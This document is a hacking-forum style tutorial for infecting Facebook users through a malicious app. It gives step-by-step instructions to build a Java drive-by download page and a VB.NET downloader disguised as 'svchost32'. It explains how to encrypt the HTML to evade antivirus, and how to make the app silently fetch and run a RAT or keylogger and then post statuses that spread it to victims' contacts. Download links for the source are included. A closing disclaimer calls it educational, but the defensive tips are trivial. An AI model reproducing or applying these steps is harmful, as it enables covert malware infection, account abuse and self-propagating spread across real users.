Infecting Facebook Applications (Drive bys)

Infecting Facebook Applications (Drive bys) [Endax]

No support for firefox, this code supports internet explorer on vista, xp and windows 7.

Features 

1. Supports Windows Xp, Vista & 7
2. Supports Internet Explorer
3. FUD
4. Will only execute once, if you visit the link again it won't execute.
5. Automatic spreading.
6. If you get one person to click it, you automatically advertise to 500+.

This is at heart a java drive by download taking advantage of the ability use iframes on facebook. You upload your HTML and settings files to a host, compile your program and upload it and finally make a facebook app and your almost there.
When someone visits your application on facebook it will auto download and execute any file you want (could be a RAT etc) and then post a status on their facebook advertising your page.

Note
You need to follow these steps in order

Step One - Getting A Host/Settings Files
First thing you will have to do is get a host to upload your settings files. These files won't be filled in yet or have any information, it will simply have the link to them. It's recommend using different hosts for these settings files, your java and html files.

Web hosts for settings files
http://www.110mb.com/
http://www.365-hosting.net/
http://x10hosting.com/
http://www.awardspace.com/
http://1gb.me/

Your going to create and upload two text files to your host.

First one will be called "status.txt"
Second will be called "link.txt"

These files will then be uploaded.

Step two - Editing and compiling the source
The program is coded in vb.NET, therefore, you will need visual studio to compile it. If you haven't got visual studio here is a link for the express version which is free:
http://www.microsoft.com/express/Downloa...sual-Basic

Simply follow that link, change the langauge to your langauge and download and install it. Once it is installed or if you already have it you will need to download the source code linked below.

Source code:
http://uppit.com/dnj8e0hiywjx/svchost32.rar
http://www.mediafire.com/?s35vhky88rfmdqr
http://www.megaupload.com/?d=70U28Z11

Once you have the source code, open up the project and get the code up. Theres a couple of things you'r going to have to change, find where it states:
Code:
Dim StatusOne As String = "http://url/status.txt" 'Link to file containing status
Dim Link As String = "http://url.com/link.txt" 'Link to file containing link
Dim Filename As String = "windows.exe" 'Filename to store the new file, don't change. 


Once you have your strings changed compile it up and your ready to go onto the next step.

Once you have your program compiled, upload it to a host that allow's .exe's, it must be a direct link, do not use something like megaupload.

Step Three - HTML & Java files
You'r now going to need a host for your html and java files, I recommend using a different host to your settings file but it's up to you. Download the index.html file and Java applet from below:

http://uppit.com/vui3qblvlomk/Java.rar
http://www.mediafire.com/?c6wvvmaate6m93c

Open up the index.html in notepad or whatever you want to use and change this string to your url of the program we compiled in the last section (svchost32), there are two instances of this string:

(http://url.com/file.exe)

Once you have changed both strings go onto:
http://www.iwebtool.com/html_encrypte

Input your entire html code into the top box, click encrypt and then copy and paste the code in the bottom box and replace your entire index.html with the new encrypted code, this is to stop certain AV's such as NOD32 from picking up on the HTML code.

After that save and upload both your index.html and the java client.jar.

Step Four - Creating a facebook application
Click this link to go to the create app page - http://www.facebook.com/developers/createapp.php



Now fill in the name you want for your application.

Click next, then click 'facebook integration'.



On this page the only thing you need to fill in is the 'Canvas Page' and the 'Canvas URL' the canvas page is the name of your page that were going to put in the status and the canvas URL is the link to the index.html file we just uploaded.



Then click save.

Step Five - Editing Our Settings
This is where you will need to upload your malicous file such as a RAT or keylogger to a host, when you've uploaded it you need to edit the 'link.txt' we made at the very start of the tutorial in the file simply enter the direct link to your malicious file, make sure there is nothing else in the file, including no spaces at the end. Save and re-upload.

Finally were going to edit what we want posted onto people's status's. Open the 'status.txt' file and input what you want to be posted.

Once both have been uploaded your ready to spread.


How to protect yourself from these hacks?
Prevention is always better than cure so always follow these steps:
1. Don't use cracked softwares and don't download them from unauthorized websites.
2. Always keep your antivirus and anti-spyware up to date.
3. Always scan the files before transferring them to your USB.
4. Do not allow other users to use your PC i.e password protect it.

For more information on how to protect yourself from being hacked see Facebook Anti-Hack Guide. 

NOTE:
ALL THE INFORMATION PROVIDED ON THIS SITE ARE FOR EDUCATIONAL PURPOSES ONLY . THE AUTHOR WILL NOT BE HELD RESPONSIBLE FOR ANY DAMAGES THAT MIGHT OCCUR.